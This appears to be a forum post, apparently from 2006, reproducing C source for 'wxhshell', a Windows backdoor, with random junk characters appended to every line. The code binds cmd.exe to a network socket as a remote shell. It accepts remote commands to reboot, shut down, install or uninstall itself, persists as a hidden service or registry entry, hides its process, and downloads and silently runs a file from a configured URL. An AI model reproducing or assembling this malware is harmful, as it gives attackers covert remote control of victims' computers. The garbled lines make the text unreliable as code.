  else { p,xM7V"O)  
j Sddjs  
    switch(cmd[0]) { {xOu*8J  
  B$7lL  
  // 帮助 <1hwXo  
  case '?': { KKOu":b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GM@TWwG-B  
    break;  R,y8~D  
  } SBYRN##n_  
  // 安装 /R^!~J50  
  case 'i': { s$RymM  
    if(Install()) 6jKM,%l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Hq0\Y"Y  
    else 1pcSfN:"1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ue8_Q8q5  
    break; u]zb<)'_  
    } 9%)'QDVGLf  
  // 卸载 ;T/' CD  
  case 'r': { ~kYF/B2*  
    if(Uninstall()) RRV&!<l@$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;E*ozKpm  
    else H9&? <j1n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SH5k^EJ  
    break; L:'Y#VI{  
    } S_\RQB\l  
  // 显示 wxhshell 所在路径 &qo'ge8p  
  case 'p': { <@Ew-JU  
    char svExeFile[MAX_PATH]; ?lbX.+  
    strcpy(svExeFile,"\n\r"); Gk!v-h9cq  
      strcat(svExeFile,ExeFile); ;7qk9rz4  
        send(wsh,svExeFile,strlen(svExeFile),0); k5<lkC2z  
    break; {VI%]n{M  
    } 5Lue.U%a  
  // 重启 !4 6 ^}3  
  case 'b': { :CH'Bt4<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {Q4=GrS  
    if(Boot(REBOOT)) J,IOp-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^up*KQ3u\  
    else { N["(ZSS   
    closesocket(wsh); :s8,i$Ex  
    ExitThread(0); "i#!  
    } <nIU]}q  
    break; n)pBK>+  
    } uZ OUp8QQ  
  // 关机 pKp#4Js  
  case 'd': { L!{^^7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %S@XY3jZY  
    if(Boot(SHUTDOWN)) Ef7 Kx49I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 654PW9{(  
    else { Z3[,Xw  
    closesocket(wsh); D@\97t+  
    ExitThread(0); o6{XT.z5qx  
    } c5Offnq'1  
    break; {\ .2h  
    } 2b!b-  
  // 获取shell ZW,PZ<  
  case 's': { z?V> ST  
    CmdShell(wsh); 4N*^%  
    closesocket(wsh); D:){T>  
    ExitThread(0); ^GL0|G=(1  
    break; X2o5Hc)l<  
  } rvOR[T>  
  // 退出 1tg   
  case 'x': { \QHM7C T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #He:p$43  
    CloseIt(wsh); J,jl(=G  
    break; _Hkc<j/e~  
    } =#1/<q)L  
  // 离开 W+Iln`L  
  case 'q': { @Wdnc/o]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k ^+h>B-;  
    closesocket(wsh); .]8 Jeb  
    WSACleanup(); LV9\  
    exit(1); Ih"f98lV  
    break; ^gv)[  
        } ]jM D'vg^b  
  } KxiZx I  
  } ;m;wSp  
'd/A+W  
  // 提示信息 r Cmqq/hZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .o fYFK  
} >2N` l  
  } .llAiv  
rJZ-/]Xf!6  
  return; ]\Ez{MdAT  
} BhNwC[G?m  
LG51e7_gFi  
// shell模块句柄 hWuq  
int CmdShell(SOCKET sock) 3{,Mpb@  
{ sp AYb<  
STARTUPINFO si; k \]@  
ZeroMemory(&si,sizeof(si)); Be-gGJG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "%0RR?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R(x% <I  
PROCESS_INFORMATION ProcessInfo; KA.@q AEB  
char cmdline[]="cmd"; y*_g1q$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -7\RO%U  
  return 0; EMJ}tvL0Tp  
} 1=#`&f5f&  
Vd|/]Zj  
// 自身启动模式 SkN^ytKE  
int StartFromService(void) E6BW&Xp  
{ y:pypuwt;  
typedef struct Be?mIwc_g  
{ ,P5HR+h  
  DWORD ExitStatus; -@AGQ+e  
  DWORD PebBaseAddress; 6`%}s3Xq  
  DWORD AffinityMask; r`6XF  
  DWORD BasePriority; e3',? 5j  
  ULONG UniqueProcessId; "BEU%,w  
  ULONG InheritedFromUniqueProcessId; >>&~;PG[  
}   PROCESS_BASIC_INFORMATION; [<OMv9(l'o  
XbG=H-|  
PROCNTQSIP NtQueryInformationProcess; l *pCG`@J#  
US4X CJxB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oSE'-8(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @p}H@#/u\  
{T.$xiR  
  HANDLE             hProcess; A:k`Ykr[  
  PROCESS_BASIC_INFORMATION pbi;  #]n[  
TS@EE&Wq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I]TL#ywF   
  if(NULL == hInst ) return 0;  vUJb-  
{:fyz#>>^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -cJ(iz9!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fa@#nY|UV3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &a1agi7M  
A@&+!sO  
  if (!NtQueryInformationProcess) return 0; +Hv%m8'0|  
Pq;1EI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +X.iJ$)  
  if(!hProcess) return 0; ZH.l^'(W  
Z=n& fsE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /V:%}Z  
KvC:(Vqj  
  CloseHandle(hProcess); %!LrC!6P4  
]uj H7T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #O=^%C 7p  
if(hProcess==NULL) return 0; 0p&:9|'z  
])0&el3-  
HMODULE hMod; @4hxGk=  
char procName[255]; 7;c{lQOj}  
unsigned long cbNeeded; Fx)]AJ~[t  
+)Z,%\)Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D3BX[  
Sd}fse  
  CloseHandle(hProcess); qo4AQ}0 <  
: 8(~{<R  
if(strstr(procName,"services")) return 1; // 以服务启动 o"TEmZUP  
(#7pGGp*E  
  return 0; // 注册表启动 w QwY_ _  
} 67Ge}6*2pd  
hF!yp7l;  
// 主模块 mn4j#-  
int StartWxhshell(LPSTR lpCmdLine) h jW RU#  
{ M[HPHNsA&  
  SOCKET wsl; S\GG(#b!  
BOOL val=TRUE; h4!$,%"''  
  int port=0; ;%Jp@'46  
  struct sockaddr_in door; {/ZB>l@D>8  
PDM>6U  
  if(wscfg.ws_autoins) Install(); Q >)?_O(  
1*G7Uh@K}  
port=atoi(lpCmdLine); T3wR0,  
,tmo6D62  
if(port<=0) port=wscfg.ws_port; u.$.RkNMQ  
B% BO  
  WSADATA data; kRZ(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WY0u9M4  
=ww8,z4X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ab8~'<F$B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G }TT-  
  door.sin_family = AF_INET; t55CT6Se  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w{#%&e(q"  
  door.sin_port = htons(port); 6R dfF$f  
()3+! };  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T\. 8og  
closesocket(wsl); E=HS'XKu[K  
return 1; }MuXN<DDb  
} fJC)>doM  
Mp"] =  
  if(listen(wsl,2) == INVALID_SOCKET) { Ypha{d  
closesocket(wsl); A]Q4fD1q  
return 1; hq(3%- 7&  
} !>gc!8Y'o  
  Wxhshell(wsl); !W n'Ae9  
  WSACleanup(); }me]?en_Ra  
irgjq/&d  
return 0; |0A n| 18  
>p2v"XX  
} )bPwB.}kq  
P@ 1D  
// 以NT服务方式启动 DEqk9Exk`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _17c}o#`5w  
{ Q]a5]:0  
DWORD   status = 0; z[ IG+2  
  DWORD   specificError = 0xfffffff; bbA+ZLZJn  
_ 4Hf?m7z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S3btx9y{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LP#CA^*S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8I NVn'G  
  serviceStatus.dwWin32ExitCode     = 0; "x3_cA~  
  serviceStatus.dwServiceSpecificExitCode = 0; [Z~>7ayF+)  
  serviceStatus.dwCheckPoint       = 0; Z*jhSy  
  serviceStatus.dwWaitHint       = 0; S7~yRIjB  
~8}"X] 4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m6+2r D  
  if (hServiceStatusHandle==0) return; PY)C=={p  
,Sghi&Ky  
status = GetLastError(); F''4j8  
  if (status!=NO_ERROR) z8vF QO\I"  
{ Xqf"Wx(X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P^VV8Z>\&  
    serviceStatus.dwCheckPoint       = 0; HgduH::\#  
    serviceStatus.dwWaitHint       = 0; "c1vW<;  
    serviceStatus.dwWin32ExitCode     = status; %D e<H*  
    serviceStatus.dwServiceSpecificExitCode = specificError; \'BKI;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qd!$nr  
    return; AUzJ:([V  
  } q'",70"\  
^=.|\ YM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PN+,M50;1  
  serviceStatus.dwCheckPoint       = 0; nLdI>c9R  
  serviceStatus.dwWaitHint       = 0; @fbvu_-].  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r{p?aG  
} B YNOgB1  
/0Zwgxt4?7  
// 处理NT服务事件,比如:启动、停止 q\d'}:kfu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &'T7 ~M:  
{ ''v_8sv  
switch(fdwControl) o6Vc}jRH  
{ 78y4nRQ*  
case SERVICE_CONTROL_STOP: dy|r:~j3  
  serviceStatus.dwWin32ExitCode = 0; )Ky 0q-W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tv\P$|LV`8  
  serviceStatus.dwCheckPoint   = 0; !\+SE"ml  
  serviceStatus.dwWaitHint     = 0; gHYYxhW$  
  { B6OggJ9Iq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O#cXvv]Z*  
  } z$%ntN#eNA  
  return; sN^R Z0!>  
case SERVICE_CONTROL_PAUSE: mbJ#-^}V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X B65,l  
  break; PyzW pf  
case SERVICE_CONTROL_CONTINUE: 9.SPxd~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pz.<5  
  break; j31 Sc3vG  
case SERVICE_CONTROL_INTERROGATE: yd`.Rb&V  
  break; k NK)mE  
}; -`f JhQ|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l.>QO ;  
} \HTXl]  
6i{W=$ RQ  
// 标准应用程序主函数 aHwrFkn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ms^,]Q1{  
{ 3u+~!yz  
{jggiMwo.v  
// 获取操作系统版本 {IqbO>|"O_  
OsIsNt=GetOsVer(); c_HYB/'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oAvL?2  
cz&FOP+!  
  // 从命令行安装 E xY ~.  
  if(strpbrk(lpCmdLine,"iI")) Install(); .VTHZvyn  
a8A8?:  
  // 下载执行文件 !oM 1  
if(wscfg.ws_downexe) { }3M\&}=8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V&)-u(s_S/  
  WinExec(wscfg.ws_filenam,SW_HIDE); *hFT,1WE=+  
} vF1] L]z:?  
!mq+Oz~  
if(!OsIsNt) { 7 tit>dJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 l,,5OZw  
HideProc(); eX;"kO  
StartWxhshell(lpCmdLine); t6s#19g  
} Y7!,s-v4W  
else a;([L8^7$l  
  if(StartFromService()) 'OkF.bs  
  // 以服务方式启动 CW, Kw  
  StartServiceCtrlDispatcher(DispatchTable); l(%bdy  
else OC"W=[Myl  
  // 普通方式启动 J"I{0>@  
  StartWxhshell(lpCmdLine); ^om(6JL2  
!63x^# kg  
return 0; 9J0m  
}
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只看该作者 1 发表于: 2006-10-10
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